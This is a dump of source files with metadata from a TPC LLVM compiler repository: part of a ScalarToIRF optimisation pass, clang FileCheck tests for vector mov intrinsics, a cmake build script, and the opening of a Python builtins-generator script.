Replaced->replaceAllUsesWith(Replacement);\n LLVM_DEBUG(dbgs() << \"** Replaced: \" << *Replaced << '\\n');\n LLVM_DEBUG(dbgs() << \"** with: \" << *Replacement << '\\n');\n WI.erase();\n Changed = true;\n }\n }\n }\n\n return Changed;\n}\n\nnamespace {\nstruct ScalarToIRFPass : public FunctionPass {\n static char ID; // Pass identification, replacement for typeid\n\n ScalarToIRFPass()\n : FunctionPass(ID) {\n initializeScalarToIRFPassPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnFunction(Function &F) override {\n if (!EnableScalarToIRF)\n return false;\n\n if (skipFunction(F))\n return false;\n\n LLVM_DEBUG(dbgs() << \"**** ScalarToIRF Pass\\n\");\n bool Changed = false;\n for (BasicBlock &BB : F) {\n Changed |= runOnBasicBlock(BB);\n }\n\n return Changed;\n }\n\n StringRef getPassName() const override {\n return \"Scalar to IRF\";\n }\n};\n}\n\nchar ScalarToIRFPass::ID = 0;\nINITIALIZE_PASS_BEGIN(ScalarToIRFPass, \"scalar2irf\",\n \"Scalar to IRF\", false, false)\nINITIALIZE_PASS_END(ScalarToIRFPass, \"scalar2irf\",\n \"Scalar to IRF\", false, false)\n\nFunctionPass *llvm::createScalarToIRFPass(bool FoldCmp) {\n FoldComparisons = FoldCmp;\n return new ScalarToIRFPass();\n}\n" }, { "alpha_fraction": 0.44556713104248047, "alphanum_fraction": 0.5202629566192627, "avg_line_length": 24.819074630737305, "blob_id": "21f0b13f7854c940478129c65a4ef9b2946314b4", "content_id": "3b2086db52fe4ef09bd2b8c9af7435df5cbcc130", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 18408, "license_type": "permissive", "max_line_length": 134, "num_lines": 713, "path": "/clang/test/RC99/IntrinsicsL/v_xx_mov_x.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK,GEN2 %s\n\n\nvoid main(int dest0, int dest1, int x, short y, char z) {\n _Bool pred = x < dest1;\n // CHECK-DAG: cmp_less.i32 [[PRED:%SP[0-9]+]], %S2, %S1\n\n volatile int64 __local *dptr = (int64 __local *)dest0;\n volatile int64 __local *sptr = (int64 __local *)dest1;\n\n // v_f32_mov_v_b\n {\n volatile float64 __local *dfptr = (float64 __local *)dptr;\n volatile float64 __local *sfptr = (float64 __local *)sptr;\n float64 res = *dfptr++;\n float64 x = *sfptr++;\n \n res = v_f32_mov_v_b(x, res, pred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_f32_mov_v_vb\n {\n volatile float64 __local *dfptr = (float64 __local *)dptr;\n volatile float64 __local *sfptr = (float64 __local *)sptr;\n bool256 vpred = bv_f32_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.f32 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n float64 res = *sfptr++;\n float64 x = *sfptr++;\n \n res = v_f32_mov_v_vb(x, res, vpred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_f32_mov_v\n {\n volatile float64 __local *dfptr = (float64 __local *)dptr;\n volatile float64 __local *sfptr = (float64 __local *)sptr;\n float64 x = *sfptr++;\n float64 res;\n \n res = v_f32_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_f32_mov_s_b\n {\n volatile float64 __local *dfptr = (float64 __local *)dptr;\n float64 res = *dfptr++;\n \n res = v_f32_mov_s_b(as_float(x), res, pred, 0);\n // CHECK: mov.f32 %V{{[0-9]+}}, %S2, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_f32_mov_s_vb\n {\n volatile float64 __local *dfptr = (float64 __local *)dptr;\n volatile float64 __local *sfptr = (float64 __local *)sptr;\n bool256 vpred = bv_f32_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.f32 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n float64 res = *sfptr++;\n \n res = v_f32_mov_s_vb(as_float(x), res, vpred, 0);\n // CHECK: mov.f32 %V{{[0-9]+}}, %S2, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_f32_mov_s\n {\n volatile float64 __local *dfptr = (float64 __local *)dptr;\n float64 res;\n\n res = v_f32_mov_s(as_float(x));\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n \n#if defined(__gaudi__)\n // v_bf16_mov_v_b\n {\n volatile bfloat128 __local *dfptr = (bfloat128 __local *)dptr;\n volatile bfloat128 __local *sfptr = (bfloat128 __local *)sptr;\n bfloat128 res = *dfptr++;\n bfloat128 x = *sfptr++;\n \n res = v_bf16_mov_v_b(x, res, pred, 0);\n // GEN2: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_bf16_mov_v_vb\n {\n volatile bfloat128 __local *dfptr = (bfloat128 __local *)dptr;\n volatile bfloat128 __local *sfptr = (bfloat128 __local *)sptr;\n bool256 vpred = bv_bf16_cmp_grt_v_s(*sfptr++, 0.0);\n // GEN2: cmp_grt.bf16 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n bfloat128 res = *sfptr++;\n bfloat128 x = *sfptr++;\n \n res = v_bf16_mov_v_vb(x, res, vpred, 0);\n // GEN2: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_bf16_mov_v\n {\n volatile bfloat128 __local *dfptr = (bfloat128 __local *)dptr;\n volatile bfloat128 __local *sfptr = (bfloat128 __local *)sptr;\n bfloat128 x = *sfptr++;\n bfloat128 res;\n \n res = v_bf16_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_bf16_mov_s_b\n {\n volatile bfloat128 __local *dfptr = (bfloat128 __local *)dptr;\n bfloat128 res = *dfptr++;\n bfloat x = as_bfloat(y);\n \n res = v_bf16_mov_s_b(x, res, pred, 0);\n // GEN2: mov.bf16 %V{{[0-9]+}}, %S3, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_bf16_mov_s_vb\n {\n volatile bfloat128 __local *dfptr = (bfloat128 __local *)dptr;\n volatile bfloat128 __local *sfptr = (bfloat128 __local *)sptr;\n bool256 vpred = bv_bf16_cmp_grt_v_s(*sfptr++, 0.0);\n // GEN2: cmp_grt.bf16 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n bfloat128 res = *sfptr++;\n bfloat x = as_bfloat(y);\n \n res = v_bf16_mov_s_vb(x, res, vpred, 0);\n // GEN2: mov.bf16 %V{{[0-9]+}}, %S3, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_bf16_mov_s\n {\n volatile bfloat128 __local *dfptr = (bfloat128 __local *)dptr;\n bfloat128 res;\n bfloat x = as_bfloat(y);\n\n res = v_bf16_mov_s(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n#endif\n\n // v_i32_mov_v_b\n {\n volatile int64 __local *dfptr = (int64 __local *)dptr;\n volatile int64 __local *sfptr = (int64 __local *)sptr;\n int64 res = *dfptr++;\n int64 x = *sfptr++;\n \n res = v_i32_mov_v_b(x, res, pred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i32_mov_v_vb\n {\n volatile int64 __local *dfptr = (int64 __local *)dptr;\n volatile int64 __local *sfptr = (int64 __local *)sptr;\n bool256 vpred = bv_i32_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.i32 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n int64 res = *sfptr++;\n int64 x = *sfptr++;\n \n res = v_i32_mov_v_vb(x, res, vpred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i32_mov_v\n {\n volatile int64 __local *dfptr = (int64 __local *)dptr;\n volatile int64 __local *sfptr = (int64 __local *)sptr;\n int64 x = *sfptr++;\n int64 res;\n \n res = v_i32_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i32_mov_s_b\n {\n volatile int64 __local *dfptr = (int64 __local *)dptr;\n int64 res = *dfptr++;\n \n res = v_i32_mov_s_b(x, res, pred, 0);\n // CHECK: mov.i32 %V{{[0-9]+}}, %S2, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_i32_mov_s_vb\n {\n volatile int64 __local *dfptr = (int64 __local *)dptr;\n volatile int64 __local *sfptr = (int64 __local *)sptr;\n bool256 vpred = bv_i32_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.i32 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n int64 res = *sfptr++;\n \n res = v_i32_mov_s_vb(x, res, vpred, 0);\n // CHECK: mov.i32 %V{{[0-9]+}}, %S2, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i32_mov_s\n {\n volatile int64 __local *dfptr = (int64 __local *)dptr;\n int64 res;\n\n res = v_i32_mov_s(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_u32_mov_v_b\n {\n volatile uint64 __local *dfptr = (uint64 __local *)dptr;\n volatile uint64 __local *sfptr = (uint64 __local *)sptr;\n uint64 res = *dfptr++;\n uint64 x = *sfptr++;\n \n res = v_u32_mov_v_b(x, res, pred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u32_mov_v_vb\n {\n volatile uint64 __local *dfptr = (uint64 __local *)dptr;\n volatile uint64 __local *sfptr = (uint64 __local *)sptr;\n bool256 vpred = bv_u32_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.u32 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n uint64 res = *sfptr++;\n uint64 x = *sfptr++;\n \n res = v_u32_mov_v_vb(x, res, vpred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u32_mov_v\n {\n volatile uint64 __local *dfptr = (uint64 __local *)dptr;\n volatile uint64 __local *sfptr = (uint64 __local *)sptr;\n uint64 x = *sfptr++;\n uint64 res;\n \n res = v_u32_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u32_mov_s_b\n {\n volatile uint64 __local *dfptr = (uint64 __local *)dptr;\n uint64 res = *dfptr++;\n \n res = v_u32_mov_s_b(as_uint(x), res, pred, 0);\n // CHECK: mov.u32 %V{{[0-9]+}}, %S2, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_u32_mov_s_vb\n {\n volatile uint64 __local *dfptr = (uint64 __local *)dptr;\n volatile uint64 __local *sfptr = (uint64 __local *)sptr;\n bool256 vpred = bv_u32_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.u32 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n uint64 res = *sfptr++;\n \n res = v_u32_mov_s_vb(as_uint(x), res, vpred, 0);\n // CHECK: mov.u32 %V{{[0-9]+}}, %S2, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u32_mov_s\n {\n volatile uint64 __local *dfptr = (uint64 __local *)dptr;\n uint64 res;\n\n res = v_u32_mov_s(as_uint(x));\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_i16_mov_v_b\n {\n volatile short128 __local *dfptr = (short128 __local *)dptr;\n volatile short128 __local *sfptr = (short128 __local *)sptr;\n short128 res = *dfptr++;\n short128 x = *sfptr++;\n \n res = v_i16_mov_v_b(x, res, pred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i16_mov_v_vb\n {\n volatile short128 __local *dfptr = (short128 __local *)dptr;\n volatile short128 __local *sfptr = (short128 __local *)sptr;\n bool256 vpred = bv_i16_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.i16 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n short128 res = *sfptr++;\n short128 x = *sfptr++;\n \n res = v_i16_mov_v_vb(x, res, vpred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i16_mov_v\n {\n volatile short128 __local *dfptr = (short128 __local *)dptr;\n volatile short128 __local *sfptr = (short128 __local *)sptr;\n short128 x = *sfptr++;\n short128 res;\n \n res = v_i16_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i16_mov_s_b\n {\n volatile short128 __local *dfptr = (short128 __local *)dptr;\n short128 res = *dfptr++;\n \n res = v_i16_mov_s_b(y, res, pred, 0);\n // CHECK: mov.i16 %V{{[0-9]+}}, %S3, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_i16_mov_s_vb\n {\n volatile short128 __local *dfptr = (short128 __local *)dptr;\n volatile short128 __local *sfptr = (short128 __local *)sptr;\n bool256 vpred = bv_i16_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.i16 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n short128 res = *sfptr++;\n \n res = v_i16_mov_s_vb(y, res, vpred, 0);\n // CHECK: mov.i16 %V{{[0-9]+}}, %S3, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i16_mov_s\n {\n volatile short128 __local *dfptr = (short128 __local *)dptr;\n short128 res;\n\n res = v_i16_mov_s(y);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_u16_mov_v_b\n {\n volatile ushort128 __local *dfptr = (ushort128 __local *)dptr;\n volatile ushort128 __local *sfptr = (ushort128 __local *)sptr;\n ushort128 res = *dfptr++;\n ushort128 x = *sfptr++;\n \n res = v_u16_mov_v_b(x, res, pred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u16_mov_v_vb\n {\n volatile ushort128 __local *dfptr = (ushort128 __local *)dptr;\n volatile ushort128 __local *sfptr = (ushort128 __local *)sptr;\n bool256 vpred = bv_u16_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.u16 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n ushort128 res = *sfptr++;\n ushort128 x = *sfptr++;\n \n res = v_u16_mov_v_vb(x, res, vpred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u16_mov_v\n {\n volatile ushort128 __local *dfptr = (ushort128 __local *)dptr;\n volatile ushort128 __local *sfptr = (ushort128 __local *)sptr;\n ushort128 x = *sfptr++;\n ushort128 res;\n \n res = v_u16_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u16_mov_s_b\n {\n volatile ushort128 __local *dfptr = (ushort128 __local *)dptr;\n ushort128 res = *dfptr++;\n \n res = v_u16_mov_s_b(as_ushort(y), res, pred, 0);\n // CHECK: mov.u16 %V{{[0-9]+}}, %S3, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_u16_mov_s_vb\n {\n volatile ushort128 __local *dfptr = (ushort128 __local *)dptr;\n volatile ushort128 __local *sfptr = (ushort128 __local *)sptr;\n bool256 vpred = bv_u16_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.u16 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n ushort128 res = *sfptr++;\n \n res = v_u16_mov_s_vb(as_ushort(y), res, vpred, 0);\n // CHECK: mov.u16 %V{{[0-9]+}}, %S3, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u16_mov_s\n {\n volatile ushort128 __local *dfptr = (ushort128 __local *)dptr;\n ushort128 res;\n\n res = v_u16_mov_s(as_ushort(y));\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n\n // v_i8_mov_v_b\n {\n volatile char256 __local *dfptr = (char256 __local *)dptr;\n volatile char256 __local *sfptr = (char256 __local *)sptr;\n char256 res = *dfptr++;\n char256 x = *sfptr++;\n \n res = v_i8_mov_v_b(x, res, pred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i8_mov_v_vb\n {\n volatile char256 __local *dfptr = (char256 __local *)dptr;\n volatile char256 __local *sfptr = (char256 __local *)sptr;\n bool256 vpred = bv_i8_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.i8 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n char256 res = *sfptr++;\n char256 x = *sfptr++;\n \n res = v_i8_mov_v_vb(x, res, vpred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i8_mov_v\n {\n volatile char256 __local *dfptr = (char256 __local *)dptr;\n volatile char256 __local *sfptr = (char256 __local *)sptr;\n char256 x = *sfptr++;\n char256 res;\n \n res = v_i8_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i8_mov_s_b\n {\n volatile char256 __local *dfptr = (char256 __local *)dptr;\n char256 res = *dfptr++;\n \n res = v_i8_mov_s_b(z, res, pred, 0);\n // CHECK: mov.i8 %V{{[0-9]+}}, %S4, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_i8_mov_s_vb\n {\n volatile char256 __local *dfptr = (char256 __local *)dptr;\n volatile char256 __local *sfptr = (char256 __local *)sptr;\n bool256 vpred = bv_i8_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.i8 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n char256 res = *sfptr++;\n \n res = v_i8_mov_s_vb(z, res, vpred, 0);\n // CHECK: mov.i8 %V{{[0-9]+}}, %S4, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_i8_mov_s\n {\n volatile char256 __local *dfptr = (char256 __local *)dptr;\n char256 res;\n\n res = v_i8_mov_s(y);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_u8_mov_v_b\n {\n volatile uchar256 __local *dfptr = (uchar256 __local *)dptr;\n volatile uchar256 __local *sfptr = (uchar256 __local *)sptr;\n uchar256 res = *dfptr++;\n uchar256 x = *sfptr++;\n \n res = v_u8_mov_v_b(x, res, pred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u8_mov_v_vb\n {\n volatile uchar256 __local *dfptr = (uchar256 __local *)dptr;\n volatile uchar256 __local *sfptr = (uchar256 __local *)sptr;\n bool256 vpred = bv_u8_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.u8 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n uchar256 res = *sfptr++;\n uchar256 x = *sfptr++;\n \n res = v_u8_mov_v_vb(x, res, vpred, 0);\n // CHECK: mov %V{{[0-9]+}}, %V{{[0-9]+}}, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u8_mov_v\n {\n volatile uchar256 __local *dfptr = (uchar256 __local *)dptr;\n volatile uchar256 __local *sfptr = (uchar256 __local *)sptr;\n uchar256 x = *sfptr++;\n uchar256 res;\n \n res = v_u8_mov_v(x);\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u8_mov_s_b\n {\n volatile uchar256 __local *dfptr = (uchar256 __local *)dptr;\n uchar256 res = *dfptr++;\n \n res = v_u8_mov_s_b(as_uchar(z), res, pred, 0);\n // CHECK: mov.u8 %V{{[0-9]+}}, %S4, [[PRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n\n // v_u8_mov_s_vb\n {\n volatile uchar256 __local *dfptr = (uchar256 __local *)dptr;\n volatile uchar256 __local *sfptr = (uchar256 __local *)sptr;\n bool256 vpred = bv_u8_cmp_grt_v_s(*sfptr++, 0.0);\n // CHECK: cmp_grt.u8 [[VPRED:%VP[0-9]+]], %V{{[0-9]+}}, 0x0\n\n uchar256 res = *sfptr++;\n \n res = v_u8_mov_s_vb(as_uchar(z), res, vpred, 0);\n // CHECK: mov.u8 %V{{[0-9]+}}, %S4, [[VPRED]]\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n sptr = (int64 __local *)sfptr;\n }\n\n // v_u8_mov_s\n {\n volatile uchar256 __local *dfptr = (uchar256 __local *)dptr;\n uchar256 res;\n\n res = v_u8_mov_s(as_uchar(z));\n *dfptr++ = res;\n\n dptr = (int64 __local *)dfptr;\n }\n}" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5125682950019836, "avg_line_length": 22.766233444213867, "blob_id": "4fe9f9326523bf4514888c26df00539299d7ab82", "content_id": "870f63aad736ebbff8376c112b1893be80a8dc3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1830, "license_type": "no_license", "max_line_length": 114, "num_lines": 77, "path": "/buildTPC_CLANG.sh", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nbuild_tpc_llvm_helper()\n{\n echo -e \"\\nusage: buildTPC_LLVM.sh [options]\\n\"\n\n echo -e \"options:\\n\"\n echo -e \" -r, --release Build only release build\"\n echo -e \" -j, --jobs <val> Overwrite number of jobs\"\n echo -e \" -h, --help Prints this help\"\n}\n\nbuild_tpc_llvm ()\n{\n SECONDS=0\n\n local __jobs=$NUMBER_OF_JOBS\n local __color=\"ON\"\n local __debug=\"yes\"\n local __release=\"\"\n local __all=\"\"\n local __org_configure=\"\"\n local __build_res=\"\"\n local __linker=\"-DLLVM_USE_LINKER=gold\"\n local __build_command=\"clang\"\n local __makefile_gen=\"make\"\n __targetToBuild=\"TPC\"\n (cmake\\\n -G \"Unix Makefiles\" \\\n -DLLVM_TARGETS_TO_BUILD=TPC \\\n -DLLVM_BUILD_EXAMPLES=OFF \\\n -DLLVM_INCLUDE_EXAMPLES=OFF \\\n -DCLANG_ENABLE_ARCMT=OFF \\\n -DCLANG_BUILD_EXAMPLES=OFF \\\n -DCMAKE_BUILD_TYPE=\"Release\" \\\n -DLLVM_ENABLE_PROJECTS=clang \\\n $SCRIPT_DIR\"/llvm\")\n\n make -j ${__jobs} clang llvm-objdump\n cd ${BUILD_DIR}\n __build_res=$?\n\n printf \"\\nElapsed time: %02u:%02u:%02u \\n\\n\" $(($SECONDS / 3600)) $((($SECONDS / 60) % 60)) $(($SECONDS % 60))\n return 0\n}\n\nBUILD_DIR=$(pwd)\nSCRIPT_DIR=$(cd $(dirname \"${BASH_SOURCE[0]}\") && pwd)\n__debug=\"Debug\"\nEXIT=\"No\"\nwhile [ -n \"$1\" ];\ndo\n case $1 in\n -r | --release )\n __debug=\"Release\"\n ;;\n -h | --help )\n build_tpc_llvm_helper\n EXIT=\"Yes\"\n ;;\n -j | --jobs )\n shift\n __jobs=$1\n ;;\n *)\n echo \"The parameter $1 is not allowed\"\n build_tpc_llvm_helper\n EXIT=\"Yes\"\n ;;\n esac\n shift\ndone\nif [ $EXIT == \"No\" ]; then\n echo \"Starting build TPC-LLVM\"\n build_tpc_llvm\n echo \"End build TPC-LLVM\"\nfi\n" }, { "alpha_fraction": 0.5670995712280273, "alphanum_fraction": 0.5974025726318359, "avg_line_length": 14.399999618530273, "blob_id": "3eaa38685234277a7ce134a99039e672db666605", "content_id": "c51a7adc00cc64a7de3f24278c12f4846dc5800e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 231, "license_type": "permissive", "max_line_length": 75, "num_lines": 15, "path": "/clang/test/RC99/cxx/new-01.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc++ -triple tpc-none-none -verify %s\n\n//GAUDI-1366\n// XFAIL:*\n\nstruct A {\n int x;\n};\n\nA* func_01() {\n return new A(); // expected-error{{'default new' is not supported}}\n}\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.5358632206916809, "alphanum_fraction": 0.5569641590118408, "avg_line_length": 33.158119201660156, "blob_id": "07d8672de388895ac564a8d425cdb9e57c062fff", "content_id": "22134642d8e160b9a514331f34943ede61789e6f", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 23980, "license_type": "permissive", "max_line_length": 124, "num_lines": 702, "path": "/llvm/utils/TPC/intr_gen/tpc_builtins_gen.py", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n##\n# Usage:\n# python tpc_builtins_gen.py <path_to_intr_header> <path_to_buitins_def>\n#\n# Header requirements:\n# - polarity argument must be named as polarity or Polarity\n# - constant argument must be named with \"I_\" prefix\n# - target-dependent intrinsics must be defined inside #if - #endif directives:\n# #if defined(__goya__) || ....\n# ...\n# #endif\n# Nested directives are not supported\n##\n\nfrom __future__ import print_function\nimport sys\nimport re\nimport argparse\n\n\ndef eprint(*args, **kwargs):\n print(*args, file=sys.stderr, **kwargs)\n\n\n# TODO Turn into enum\nclass Architecture:\n STRING_VALUES = [\"goya\", \"gaudi\"]\n\n ALTERNATIVE_NAMES = {\"dali\": \"goya\"}\n\n def __init__(self, value):\n if value >= len(Architecture.STRING_VALUES):\n raise Exception(\"Unknown architecture\")\n self.__value = value\n\n def __hash__(self):\n return hash(self.__value)\n\n def __eq__(self, other):\n if isinstance(other, Architecture):\n return self.__value == other.__value\n else:\n return False\n\n @staticmethod\n def from_string(string_value):\n string_value_lower = string_value.lower()\n arch_name = Architecture.ALTERNATIVE_NAMES.get(string_value_lower, string_value_lower)\n index = -1\n for i, name in enumerate(Architecture.STRING_VALUES):\n if arch_name == name:\n index = i\n break\n\n if index != -1:\n return Architecture(Architecture.STRING_VALUES.index(arch_name))\n else:\n return None\n\n @staticmethod\n def from_feature_string(feature_string):\n # remobe bracers\n match_result = re.match(r\"\\(\\s*(\\w+)(\\+?)\\s*\\)\", feature_string)\n result = []\n if match_result:\n arch = Architecture.from_string(match_result.group(1).lower())\n if arch:\n if match_result.group(2):\n for value in range(arch.__value, len(Architecture.STRING_VALUES)):\n result.append(Architecture(value))\n\n return result\n\n def to_string(self):\n return Architecture.STRING_VALUES[self.__value]\n\n @staticmethod\n def getAllArchitecture():\n values = []\n for index in 